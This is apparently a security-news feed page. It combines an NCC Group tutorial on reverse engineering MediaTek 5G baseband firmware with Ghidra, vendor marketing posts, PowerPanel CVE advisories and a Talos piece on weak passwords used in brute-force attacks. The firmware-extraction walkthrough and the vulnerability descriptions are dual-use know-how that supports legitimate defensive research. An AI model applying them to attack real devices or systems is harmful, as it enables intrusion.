Normal view

There are new articles available, click to refresh the page.
Today — 7 May 2024Vulnerabily Research

Ghidra nanoMIPS ISA module

7 May 2024 at 17:11

Introduction

In late 2023 and early 2024, the NCC Group Hardware and Embedded Systems practice undertook an engagement to reverse engineer baseband firmware on several smartphones. This included MediaTek 5G baseband firmware based on the nanoMIPS architecture. While we were aware of some nanoMIPS modules for Ghidra having been developed in private, there was no publicly available reliable option for us to use at the time, which led us to develop our own nanoMIPS disassembler and decompiler module for Ghidra.

In the interest of time, we focused on implementing the features and instructions that we encountered on actual baseband firmware, and left complex P-Code instruction emulation unimplemented where it was not yet needed. Though the module is a work in progress, it still decompiles the majority of the baseband firmware we’ve analyzed. Combined with debug symbol information included with some MediaTek firmware, it has been very helpful in the reverse engineering process.

Here we will demonstrate how to load a MediaTek baseband firmware into Ghidra for analysis with our nanoMIPS ISA module.

Target firmware

For an example firmware to analyze, we looked up phones likely to include a MediaTek SoC with 5G support. Some relatively recent Motorola models were good candidates. (These devices were not part of our client engagement.)

We found many Android firmware images on https://mirrors.lolinet.com/firmware/lenomola/, including an image for the Motorola Moto Edge 2022, codename Tesla: https://mirrors.lolinet.com/firmware/lenomola/tesla/official/. This model is based on a MediaTek Dimensity 1050 (MT6879) SoC.

There are some carrier-specific variations of the firmware. We’ll randomly choose XT2205-1_TESLA_TMO_12_S2ST32.71-118-4-2-6_subsidy-TMO_UNI_RSU_QCOM_regulatory-DEFAULT_cid50_R1_CFC.xml.zip.

Extracting nanoMIPS firmware

The actual nanoMIPS firmware is in the md1img.img file from the Zip package.

To extract the content of the md1img file we also wrote some Kaitai structure definitions with simple Python wrapper scripts to run the structure parsing and output different sections to individual files. The ksy Kaitai definitions can also be used to interactively explore these files with the Kaitai IDE.

Running md1_extract.py with an --outdir option will extract the files contained within md1img.img:

$ ./md1_extract.py ../XT2205-1_TESLA_TMO_12_S2STS32.71-118-4-2-6-3_subsidy-TMO_UNI_RSU_QCOM_regulatory-DEFAULT_cid50_CFC/md1img.img --outdir ./md1img_out/
extracting files to: ./md1img_out
md1rom: addr=0x00000000, size=43084864
        extracted to 000_md1rom
cert1md: addr=0x12345678, size=1781
        extracted to 001_cert1md
cert2: addr=0x12345678, size=988
        extracted to 002_cert2
md1drdi: addr=0x00000000, size=12289536
        extracted to 003_md1drdi
cert1md: addr=0x12345678, size=1781
        extracted to 004_cert1md
cert2: addr=0x12345678, size=988
        extracted to 005_cert2
md1dsp: addr=0x00000000, size=6776460
        extracted to 006_md1dsp
cert1md: addr=0x12345678, size=1781
        extracted to 007_cert1md
cert2: addr=0x12345678, size=988
        extracted to 008_cert2
md1_filter: addr=0xffffffff, size=300
        extracted to 009_md1_filter
md1_filter_PLS_PS_ONLY: addr=0xffffffff, size=300
        extracted to 010_md1_filter_PLS_PS_ONLY
md1_filter_1_Moderate: addr=0xffffffff, size=300
        extracted to 011_md1_filter_1_Moderate
md1_filter_2_Standard: addr=0xffffffff, size=300
        extracted to 012_md1_filter_2_Standard
md1_filter_3_Slim: addr=0xffffffff, size=300
        extracted to 013_md1_filter_3_Slim
md1_filter_4_UltraSlim: addr=0xffffffff, size=300
        extracted to 014_md1_filter_4_UltraSlim
md1_filter_LowPowerMonitor: addr=0xffffffff, size=300
        extracted to 015_md1_filter_LowPowerMonitor
md1_emfilter: addr=0xffffffff, size=2252
        extracted to 016_md1_emfilter
md1_dbginfodsp: addr=0xffffffff, size=1635062
        extracted to 017_md1_dbginfodsp
md1_dbginfo: addr=0xffffffff, size=1332720
        extracted to 018_md1_dbginfo
md1_mddbmeta: addr=0xffffffff, size=899538
        extracted to 019_md1_mddbmeta
md1_mddbmetaodb: addr=0xffffffff, size=562654
        extracted to 020_md1_mddbmetaodb
md1_mddb: addr=0xffffffff, size=12280622
        extracted to 021_md1_mddb
md1_mdmlayout: addr=0xffffffff, size=8341403
        extracted to 022_md1_mdmlayout
md1_file_map: addr=0xffffffff, size=889
        extracted to 023_md1_file_map

The most relevant files are:

  • md1rom is the nanoMIPS firmware image
  • md1_file_map provides slightly more context on the md1_dbginfo file: its original filename is DbgInfo_NR16.R2.MT6879.TC2.PR1.SP_LENOVO_S0MP1_K6879V1_64_MT6879_NR16_TC2_PR1_SP_V17_P38_03_24_03R_2023_05_19_22_31.xz
  • md1_dbginfo is an XZ compressed binary file containing debug information for md1rom, including symbols

Extracting debug symbols

md1_dbginfo is another binary file format containing symbols and filenames with associated addresses. We’ll rename it and decompress it based on the filename from md1_file_map:

$ cp 018_md1_dbginfo DbgInfo_NR16.R2.MT6879.TC2.PR1.SP_LENOVO_S0MP1_K6879V1_64_MT6879_NR16_TC2_PR1_SP_V17_P38_03_24_03R_2023_05_19_22_31.xz
$ unxz DbgInfo_NR16.R2.MT6879.TC2.PR1.SP_LENOVO_S0MP1_K6879V1_64_MT6879_NR16_TC2_PR1_SP_V17_P38_03_24_03R_2023_05_19_22_31.xz
$ hexdump DbgInfo_NR16.R2.MT6879.TC2.PR1.SP_LENOVO_S0MP1_K6879V1_64_MT6879_NR16_TC2_PR1_SP_V17_P38_03_24_03R_2023_05_19_22_31 | head
00000000  43 41 54 49 43 54 4e 52  01 00 00 00 98 34 56 00  |CATICTNR.....4V.|
00000010  43 41 54 49 01 00 00 00  00 00 00 00 4e 52 31 36  |CATI........NR16|
00000020  2e 52 32 2e 4d 54 36 38  37 39 2e 54 43 32 2e 50  |.R2.MT6879.TC2.P|
00000030  52 31 2e 53 50 00 4d 54  36 38 37 39 5f 53 30 30  |R1.SP.MT6879_S00|
00000040  00 4d 54 36 38 37 39 5f  4e 52 31 36 2e 54 43 32  |.MT6879_NR16.TC2|
00000050  2e 50 52 31 2e 53 50 2e  56 31 37 2e 50 33 38 2e  |.PR1.SP.V17.P38.|
00000060  30 33 2e 32 34 2e 30 33  52 00 32 30 32 33 2f 30  |03.24.03R.2023/0|
00000070  35 2f 31 39 20 32 32 3a  33 31 00 73 00 00 00 2b  |5/19 22:31.s...+|
00000080  ed 53 00 49 4e 54 5f 56  65 63 74 6f 72 73 00 4c  |.S.INT_Vectors.L|
00000090  08 00 00 54 08 00 00 62  72 6f 6d 5f 65 78 74 5f  |...T...brom_ext_|

To extract information from the debug info file, we made another Kaitai definition and wrapper script that extracts symbols and outputs them in a text format compatible with Ghidra’s ImportSymbolsScript.py script:

$ ./mtk_dbg_extract.py md1img_out/DbgInfo_NR16.R2.MT6879.TC2.PR1.SP_LENOVO_S0MP1_K6879V1_64_MT6879_NR16_TC2_PR1_SP_V17_P38_03_24_03R_2023_05_19_22_31 | tee dbg_symbols.txt
INT_Vectors 0x0000084c l
brom_ext_main 0x00000860 l
INT_SetPLL_Gen98 0x00000866 l
PLL_Set_CLK_To_26M 0x000009a2 l
PLL_MD_Pll_Init 0x000009da l
INT_SetPLL 0x000009dc l
INT_Initialize_Phase1 0x027b5c80 l
INT_Initialize_Phase2 0x027b617c l
init_cm 0x027b6384 l
init_cm_wt 0x027b641e l
...

(Currently the script is set to only output label definitions rather than function definitions, as it was unknown if all of the symbols were for functions.)

Loading nanoMIPS firmware into Ghidra

Install the extension

First, we’ll have to install the nanoMIPS module for Ghidra. In the main Ghidra window, go to “File > Install Extensions”, click the “Add Extension” plus button, and select the module Zip file (e.g., ghidra_11.0.3_PUBLIC_20240424_nanomips.zip). Then restart Ghidra.

Initial loading

Load md1rom as a raw binary image. Select 000_md1rom from the md1img.img extract directory and keep “Raw Binary” as the format. For Language, click the “Browse” ellipsis and find the little endian 32-bit nanoMIPS option (nanomips:LE:32:default) using the filter, then click OK.

We’ll load the image at offset 0 so no further options are necessary. Click OK again to load the raw binary.

When Ghidra asks if you want to do an initial auto-analysis, select No. We have to set up a mirrored memory address space at 0x90000000 first.

Memory mapping

Open the “Memory Map” window and click plus for “Add Memory Block”.

We’ll name the new block “mirror”, set the starting address to ram:90000000, the length to match the length of the base image “ram” block (0x2916c40), permissions to read and execute, and the “Block Type” to “Byte Mapped” with a source address of 0 and mapping ratio of 1:1.

Also change the permissions for the original “ram” block to just read and execute. Save the memory map changes and close the “Memory Map” window.

Note that this memory map is incomplete; it’s just the minimal setup required to get disassembly working.

Debug symbols

Next, we’ll load up the debug symbols. Open the Script Manager window and search for ImportSymbolsScript.py. Run the script and select the text file generated by mtk_dbg_extract.py earlier (dbg_symbols.txt). This will create a bunch of labels, most of them in the mirrored address space.

Disassembly

Now we can begin disassembly. There is a jump instruction at address 0 that will get us started, so just select the byte at address 0 and press “d” or right-click and choose “Disassemble”. Thanks to the debug symbols, you may notice this instruction jumps to the INT_Initialize_Phase1 function.

Flow-based disassembly will now start to discover a bunch of code. The initial disassembly can take several minutes to complete.

Then we can run the normal auto-analysis with “Analysis > Auto Analyze…”. This should also discover more code and spend several minutes in disassembly and decompilation. We’ve found that the “Non-Returning Functions” analyzer creates many false positives with the default configuration in these firmware images, which disrupts the code flow, so we recommend disabling it for initial analysis.

The one-shot “Decompiler Parameter ID” analyzer is a good option to run next for better detection of function input types.

Conclusion

Although the module is still a work in progress, the results are already quite useable for analysis and allowed to us to reverse engineer some critical features in baseband processors.

The nanoMIPS Ghidra module and MediaTek binary file unpackers can be found on our GitHub at:

Yesterday — 6 May 2024Vulnerabily Research

Send()-ing Myself Belated Christmas Gifts - GitHub.com's Environment Variables & GHES Shell

30 April 2024 at 00:00
Earlier this year, in mid-January, you might have come across this security announcement by GitHub. In this article, I will unveil the shocking story of how I discovered CVE-2024-0200, a deceptively simple, one-liner vulnerability which I initially assessed to likely be of low impact, and how I turned it into one of the most impactful bugs in GitHub’s bug bounty history. Spoiler: The vulnerability enabled disclosure of all environment variables of a production container on GitHub.
Before yesterdayVulnerabily Research

CrowdStrike Named the Only Customers’ Choice in 2024 Gartner® “Voice of the Customer” for External Attack Surface Management

30 April 2024 at 16:17

As adversaries become faster and stealthier, they relentlessly search for vulnerable assets to exploit. Meanwhile, your digital footprint is expanding, making it increasingly challenging to keep track of all of your assets. It’s no wonder 76% of breaches in 2023 were due to unknown and unmanaged internet-facing assets.

Against this backdrop, it’s more critical than ever for organizations to maintain a continuous and comprehensive understanding of their entire attack surface. This is where CrowdStrike Falcon® Exposure Management comes in:

In the field of exposure management, the value of external attack surface management (EASM) cannot be overstated. In short, EASM helps organizations identify known and unknown internet-facing assets, get real-time visibility into their exposures and vulnerabilities, and prioritize remediation to reduce intrusion risk.

Integrated into Falcon Exposure Management are the robust EASM capabilities of CrowdStrike Falcon® Surface, which uses a proprietary real-time engine to continuously scan the internet, and map and index more than 95 billion internet-facing assets annually. This gives organizations a vital “outside-in” perspective on the exposure of these assets and helps security teams prioritize and address vulnerabilities — not based on generic vulnerability severity scores but based on real-world adversary behavior and tactics from CrowdStrike® Counter Adversary Operations threat intelligence.

The EASM capabilities of Falcon Exposure Management are best-in-class. But don’t just take it from us. Here’s what CrowdStrike customers had to say.

93% Willing to Recommend CrowdStrike

CrowdStrike is the only vendor named Customers’ Choice in the 2024 Gartner “Voice of the Customer” Report for External Attack Surface Management, with 93% of respondents saying they are willing to recommend CrowdStrike.

The “Voice of the Customer” is a document that synthesizes Gartner Peer Insights’ reviews into insights for IT decision makers. Here’s a sampling of the individual reviews and ratings on the Gartner Peer Insights page:

Falcon Surface is the EASM you need.”

“The tool gives critical insight into your attack surface helping to show what you don’t know.”

Strategic assessing for internet exposed assets.”

“A market analysis of external vulnerability analysis was carried out and after testing the product we were convinced to purchase it for the company.”

Effective ASM solution byte per byte.”

“Easy and continuous vulnerability assessment, effective risk prioritization, accuracy on remediations guidance.”

Our mission is clear: to stop breaches. Understanding and reducing risk is critical to stopping the breach, and we thank our customers for their support and validation of the unified CrowdStrike Falcon® XDR platform as the definitive cybersecurity platform.

Falcon Exposure Management: A Critical Component of the Falcon Platform

Organizations are embracing cybersecurity consolidation to reduce cost and complexity while improving security outcomes. Understanding the reduction of cyber risk across the modern attack surface is a critical component of any organization’s cybersecurity strategy. 

Falcon Exposure Management unifies real-time security data from Falcon Surface for EASM, CrowdStrike Falcon® Discover for asset, account and app discovery, and CrowdStrike Falcon® Spotlight for vulnerability management. CrowdStrike received a Customers’ Choice distinction in the 2024 Gartner® Peer Insights™ Voice of the Customer for Vulnerability Assessment

With AI-powered vulnerability management and a comprehensive visual mapping of all connected assets, Falcon Exposure Management dramatically speeds up detection and response times, transforming reactive operations into proactive cybersecurity strategies to stop breaches before they happen. Integration with real-time threat intelligence correlates exposures with adversary behavior to help prioritize based on business impact and the likelihood of real-world exploitation. 

While traditional approaches to exposure management use disjointed products, only CrowdStrike delivers Falcon Exposure Management from the Falcon platform, making it fast and easy for customers to deploy the exposure management capabilities that customers love using the single lightweight Falcon agent and single console.

By deploying Falcon Exposure Management on the Falcon platform, organizations can realize incredible benefits such as a projected 200% faster CVE prioritization to respond quickly to critical vulnerabilities, up to 75% reduction in attack surface to lower the risk of a breach and up to $200,000 USD in annual savings by consolidating point products.

 

*Based on 32 overall reviews as of December 2023.

GARTNER is a registered trademark and service mark, and PEER INSIGHTS is a trademark and service mark, of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved.

This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available upon request from CrowdStrike. Gartner Peer Insights content consists of the opinions of individual end users based on their own experiences with the vendors listed on the platform, should not be construed as statements of fact, nor do they represent the views of Gartner or its affiliates. Gartner does not endorse any vendor, product or service depicted in this content nor makes any warranties, expressed or implied, with respect to this content, about its accuracy or completeness, including any warranties of merchantability or fitness for a particular purpose.

Additional Resources

CrowdStrike Named Overall Leader in Industry’s First ITDR Comparative Report

30 April 2024 at 09:10

The industry’s first identity detection and response (ITDR) analyst report names CrowdStrike an Overall Leader and a “cyber industry force.”

In KuppingerCole Leadership Compass, Identity Threat Detection and Response (ITDR) 2024: IAM Meets the SOC, CrowdStrike was named a Leader in every category — Product, Innovation, Market and Overall Ranking — and positioned the highest for Innovation among all eight vendors evaluated. We received the top overall position in the report and a perfect 5/5 rating in every criteria, including security, functionality, deployment, interoperability, usability, innovativeness, market position, financial strength and ecosystem.

CrowdStrike pioneered ITDR to stop modern attacks with the industry’s first and only unified platform for identity protection and endpoint security powered by threat intelligence and adversary tradecraft — all delivered on a single agent. The market has continued to recognize our leadership, with CrowdStrike being positioned furthest to the right of all eight vendors evaluated in KuppingerCole’s report.

Figure 1. The Overall Leader chart in the KuppingerCole Leadership Compass, Identity Threat Detection and Response (ITDR) 2024: IAM Meets the SOC

A Leader in Innovation

In 2023, 75% of attacks used to gain initial access were malware-free, highlighting the prevalence of identity-based attacks and use of compromised credentials. Since releasing CrowdStrike Falcon® Identity Threat Protection in 2020, CrowdStrike has been constantly innovating on the product to deliver a mature solution that stops modern identity attacks.

In the report, CrowdStrike was positioned furthest to the right and highest in Innovation, demonstrating our commitment to delivering cutting-edge technology. “CrowdStrike is a cyber industry force, and its Falcon Identity Protection demonstrates real attention to detail where threats are related,” KuppingerCole states.

The cloud-native architecture of Falcon Identity Protection is another point of differentiation, delivering the speed and scale that businesses need, with minimal hardware requirements.

“Offered as a cloud-native SaaS service, Falcon Identity Protection component requires a minimal on-premises footprint, requiring only a lightweight Falcon sensor on the Active Directory (AD) domain controllers. This architecture also enables packet-level inspection and real-time alerting of suspicious events,” states the report.

CrowdStrike Focuses Where Threats Are

In our mission to stop breaches, CrowdStrike focuses where identity threats often originate: in Microsoft identity environments. This is reflected in the report, with KuppingerCole describing Microsoft environments as “the entry point to attack vectors.”

“Falcon Identity Protection excels at its deep coverage of Microsoft environments, including on-premises AD and Azure-based environments. The coverage ranges from aging AD protocols for domain controller replication, to password hash synchronization over AD Connect, to Azure based attacks on Entra ID,” states the report.

CrowdStrike’s protection of Microsoft identity stores extends into specific product features and services that KuppingerCole also highlighted in its report.

“Given CrowdStrike’s long history in InfoSec and SOC practices, Falcon Identity Protection offers unique features to help bridge identity administration performed by IT and identity security. It does this by providing guidance to InfoSec personnel who may not have deep knowledge of AD and Entra ID.”

With these features and our continuing emphasis on stopping identity-based attacks on Microsoft environments, KuppingerCole said CrowdStrike delivers “very strong protection for Microsoft environments” in its report.

Delivered from the Unified Falcon Platform

CrowdStrike firmly believes ITDR is a problem that cannot be addressed in isolation by point products. Of all of the vendors evaluated in the report, CrowdStrike is the only one that delivers identity security as a capability tightly integrated into a unified platform.

Our innovative approach of combining endpoint and identity protection into the AI-native CrowdStrike Falcon® platform with a single agent, powered with threat intel and adversary tradecraft, is key to stopping identity breaches in real time. The unified approach is shown to accelerate response time with projections calculating up to 85% faster detection of identity attacks and lower total cost of ownership, delivering up to $2 million USD in savings over three years.

Another CrowdStrike advantage is our extensive partner network that delivers industry-leading capabilities such as real-time response as part of Falcon Identity Protection.

“The company’s API ecosystem offers REST and GraphQL APIs for most of its functionalities, including real-time response to identity threats. This approach not only offers compliance with current tech standards but also portrays CrowdStrike’s forward-thinking strategy, promising near-term enhancements to further open up their platform.”

The Future of Identity Security

With this report, CrowdStrike is the proven leader in identity threat protection, parallelling our industry leadership in endpoint security, cloud security, managed detection and response, threat intelligence and risk-based vulnerability management.

Thanks to all of the CrowdStrike customers that use our platform every day to stop breaches. We’re committed to delivering the best technology and services on the market for you!

Additional Resources

CrowdStrike Named a Leader in IDC MarketScape for Worldwide MDR

29 April 2024 at 18:31

The #1 global managed detection and response (MDR) provider and pioneer continues to dominate. Today, CrowdStrike was named a Leader in the 2024 IDC MarketScape: Worldwide Managed Detection and Response 2024 Vendor Assessment1 among the 19 vendors evaluated in the report. 

CrowdStrike was also recently named a Leader in Frost & Sullivan’s 2024 Frost Radar: Managed Detection and Response.

The global demand for MDR continues to surge as businesses face a harsh reality: While many struggle to recruit the cybersecurity talent they need, adversaries are getting faster and stealthier. To stay ahead of emerging threats, organizations must operate at maximum efficiency and employ the right blend of skills, processes and cutting-edge technology. 

CrowdStrike Falcon® Complete delivers 24/7 managed detection and response, powered by the AI-native CrowdStrike Falcon® XDR platform. Operating as a seamless extension of customers’ teams, Falcon Complete combines advanced threat detection, investigation and response with industry-leading threat intelligence and threat hunting to accelerate mean-time-to-respond (MTTR), narrow the cybersecurity skills gap and thwart even the most sophisticated attacks.

As a pioneer in MDR, the emerging cloud detection and response (CDR) category and adversary intelligence, CrowdStrike is consistently recognized by customers, analysts and third-party awards programs for its industry-leading MDR offering. 

IDC MarketScape: CrowdStrike a Leader in WW MDR

CrowdStrike has been named a Leader in the 2024 IDC MarketScape for worldwide MDR report. CrowdStrike was also named a Leader in the IDC MarketScape: U.S. Managed Detection Response Services 2021 Vendor Assessment.2

SOURCE: “IDC MarketScape: Worldwide Managed Detection and Response 2024 Vendor Assessment” by Craig Robinson, April 2024, IDC # US49006922.

 

IDC MarketScape vendor analysis model is designed to provide an overview of the competitive fitness of ICT suppliers in a given market. The research methodology utilizes a rigorous scoring methodology based on both qualitative and quantitative criteria that results in a single graphical illustration of each vendor’s position within a given market. The Capabilities score measures vendor product, go-to-market and business execution in the short-term. The Strategy score measures alignment of vendor strategies with customer requirements in a 3-5-year timeframe. Vendor market share is represented by the size of the circles. Vendor year-over-year growth rate relative to the given market is indicated by a plus, neutral or minus next to the vendor name.

The report noted…

“Falcon Complete offers a unique flat analyst operating model for MDR by eliminating analyst tiers and forming interchangeable “Fire Teams” — with each respective Fire Team capable of operating independently and delivering MDR services to customers 24×7. In this approach, every MDR security analyst is an experienced incident response expert capable of investigating and responding to any endpoint, cloud, identity, or multidomain threat they encounter. This model enables Falcon Complete to more efficiently and nimbly scale and balance resources across all Fire Teams while delivering positive security outcomes to every supported customer. The CrowdStrike Falcon platform and Falcon Complete MDR services are 100% cloud native and cloud delivered.”

Speed is a defining characteristic of Falcon Complete. With the fastest observed adversary breakout time down to just over two minutes in 2023, organizations are under immense pressure to quickly identify and stop attacks. 

“Falcon Complete’s multi-domain detection and response capabilities accelerate the time it takes to find and stop sophisticated, lateral-moving attacks.”

CrowdStrike’s elite security analysts and threat hunters deliver a seamless MDR service enriched with integrated threat intelligence and high-fidelity telemetry from the Falcon platform. This allows for faster and more effective detection and response to stop breaches. 

“IDC recognizes that there is a push ‘to the platform’ that is occurring in cybersecurity. This is worthy of mention as CrowdStrike has a wide depth and breadth of capabilities built into their Falcon platform that provides the technology muscle for their MDR offering.”

Frost & Sullivan: CrowdStrike Growth Leader in MDR

CrowdStrike was also named a Leader in the Frost Radar: Managed Detection and Response 2024. In the report, Frost & Sullivan named CrowdStrike the growth leader among 22 vendors evaluated and an “innovator and powerhouse” in the MDR sector.

“CrowdStrike delivers its services to companies of all sizes and across all industry verticals …. The company leverages its success in other security product and service domains, including endpoint security, cloud security, identity protection, XDR and more to power and cross-sell its MDR services while offering complimentary services that provide additional value for customers looking to address specific use cases.”

Our continued growth in MDR is accelerated by Falcon Complete for Service Providers, which allows service providers to enhance their offerings and provide their customers the highest level of protection powered by our industry-leading MDR service.

“In September 2023, CrowdStrike launched Falcon Complete for Service Providers, which allows MSSPs and MSPs to license the company’s Falcon Complete MDR service, leveraging its expert team and technology to deliver 24/7 monitoring and security to their customers. This program is flexible, allowing service partners to co-brand, white-label and customize the services they provide to unlock significant growth potential.”

Ranking CrowdStrike high in innovation, Frost & Sullivan called Falcon Complete a “world-class security service” in the MDR sector, also stating:

“CrowdStrike leverages its impressive R&D budget and expert understanding of the challenges and trends in the security space to hold on to its position as an innovator and powerhouse in the MDR sector and in the cybersecurity industry as a whole.”

Frost & Sullivan also noted CrowdStrike’s technology advantage of delivering Falcon Complete from the unified Falcon platform. This approach allows us to extend our MDR capabilities across endpoints, identities, cloud workloads and third-party data to deliver end-to-end response and remediation across key attack surfaces.

“CrowdStrike recently expanded its MDR portfolio, extending its 24/7 managed detection and response service to incorporate trusted third-party telemetry, data sources, and automated response actions. These integrations are powered by more than 20 CrowdStrike alliance partners, including Cisco, Fortinet, Mimecast, Proofpoint and Zscaler.”

Gold Standard of MDR

As the pioneer of MDR, CrowdStrike remains the gold standard, delivering outcomes, not homework, for thousands of organizations worldwide. 

Falcon Complete received the highest detection coverage and was the only MDR to detect 99% of adversary techniques in the 2022 MITRE Engenuity ATT&CK® Evaluations for Managed Security Services. And our best-in-class CrowdStrike Breach Prevention Warranty gives customers additional peace of mind knowing we stand behind our claims.

Thank you to the IDC MarketScape and Frost & Sullivan for the recognition and to all of the hardworking CrowdStrikers for delivering the best MDR service on the market! 

Additional Resources

 

  1.  Doc #US49006922, April 2024
  2. Doc #US48129921, August 2021

CVE-2024-31409

2 May 2024 at 16:53

CWE-285: IMPROPER AUTHORIZATION

Certain MQTT wildcards are not blocked on the system, which might result in an attacker obtaining data from throughout the system after gaining access to any device.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-31410

2 May 2024 at 16:53

CWE-321: USE OF HARD-CODED CRYPTOGRAPHIC KEY

The devices Power Panel manages use identical certificates based on a hard-coded cryptographic key. This can allow an attacker to impersonate any client in the system and send malicious data.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-31856

2 May 2024 at 16:53

CWE-89: IMPROPER NEUTRALIZATION OF SPECIAL ELEMENTS USED IN AN SQL COMMAND ('SQL INJECTION')

An attacker with certain MQTT permissions can create malicious messages to all Power Panel devices. This could result in an attacker injecting SQL syntax, writing arbitrary files to the system, and executing remote code.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-32042

2 May 2024 at 16:53

CWE-257: STORING PASSWORDS IN A RECOVERABLE FORMAT

The key used to encrypt passwords stored in the database can be found in the application code, allowing the passwords to be recovered.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-32047

2 May 2024 at 16:53

CWE-489: ACTIVE DEBUG CODE

Hard-coded credentials for the test server can be found in the production code. This might result in an attacker gaining access to the testing or production server.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-32053

2 May 2024 at 16:53

CWE-798: USE OF HARD-CODED CREDENTIALS

Hard-coded credentials are used by the platform to authenticate to the database, other services, and the cloud. This could result in an attacker gaining access to services with the privileges of a Powerpanel application.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-33615

2 May 2024 at 16:53

CWE-23: RELATIVE PATH TRAVERSAL

A specially crafted Zip file containing path traversal characters can be imported to the server, which allows file writing to the server outside the intended scope, and could allow an attacker to achieve remote code execution.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

CVE-2024-34025

2 May 2024 at 16:53

CWE-259: USE OF HARD-CODED PASSWORD

The application code contains a hard-coded set of authentication credentials. This could result in an attacker bypassing authentication and gaining administrator privileges.

Successful exploitation of these vulnerabilities could result in an attacker bypassing authentication and gaining administrator privileges, forging JWT tokens to bypass authentication, writing arbitrary files to the server and achieving code execution, gaining access to services with the privileges of a PowerPanel application, gaining access to the testing or production server, learning passwords and authenticating with user or administrator privileges, injecting SQL syntax, writing arbitrary files to the system, executing remote code, impersonating any client in the system and sending malicious data, or obtaining data from throughout the system after gaining access to any device.

What can we learn from the passwords used in brute-force attacks?

2 May 2024 at 18:00
What can we learn from the passwords used in brute-force attacks?

Brute force attacks are one of the most elementary cyber threats out there. Technically, anyone with a keyboard and some free time could launch one of them — just try a bunch of different username and password combinations on the website of your choice until you get blocked.  

Nick Biasini and I discussed some of the ways that organizations can defend against brute force attacks since detection usually doesn’t fall into the usual bucket (ex., there’s nothing an anti-virus program could detect running). But a good place to start just seems to be implementing strong password rules, because people, unsurprisingly, are still using some of the most obvious passwords that anyone, attacker or not, would guess. 

Along with our advisory on a recent increase in brute force attacks targeting SSH and VPN services Cisco Talos published a list of IP addresses associated with this activity, along with a list of usernames and passwords adversaries typically try to use to gain access to a network or service. 

There are some classics on this list — the ever-present “Password” password, Passw0rd (with a zero, not an “O”) and “123456.” This tells me that users still haven’t learned their lesson. It’s somewhat funny to think about some well-funded actor just being like, “Well, let me try to ‘hack’ into this machine by using ‘123456’” as if they’re in a parody movie, but if they already can guess a username based off someone’s real name, it’s not that unlikely that password is being used somewhere. 

A few other example passwords stood out to me: “Mart1x21,” because I can’t tell if this is just someone named “Martin” or a play on the month of March, and things like “Spring2024x21” and “April2024x21” because I appreciate the idea that someone using that weak of a password thinks that adding the extra three characters onto “April2024” is really going to throw an attacker off. 

Looking at this list got me thinking about what some potential solutions are to the internet’s password problem, and our ever-present battle to educate users and warn them about the dangers of using weak or default passwords. 

Going passwordless is certainly one option because if there just are no passwords to log in, there’s nothing text-based an attacker could just start guessing. 

The best solution I’ve seen recently is that the U.K. literally made a law requiring hardware and software manufacturers to implement stronger security standards. The Product Security and Telecommunications Infrastructure (PSTI) that went into effect last month contains a range of security protections companies must follow, but they now include mandatory password rules that will force users to change default passwords when registering for new accounts and stop them from using easy-to-guess passwords like “Admin” and “12345.”  

It would be great if users would just stop using these credentials on their own, but if attackers are still thinking that someone out there is using “Password” as their password, they probably are.  

The one big thing 

For the first time in several quarters, business email compromise (BEC) was the most common threat in Cisco Talos Incident Response (Talos IR) engagements during the first quarter of 2024. BEC made up 46 percent of all engagements in Q1, a significant spike from Q4 2023, according to the latest Talos IR Quarterly Trends Report. Ransomware, which was the top-observed threat in the last quarter of 2023, decreased by 11 percent. Talos IR also observed a variety of threats in engagements, including data theft extortion, brute-force activity targeting VPNs, and the previously seen commodity loader Gootloader. 

Why do I care? 

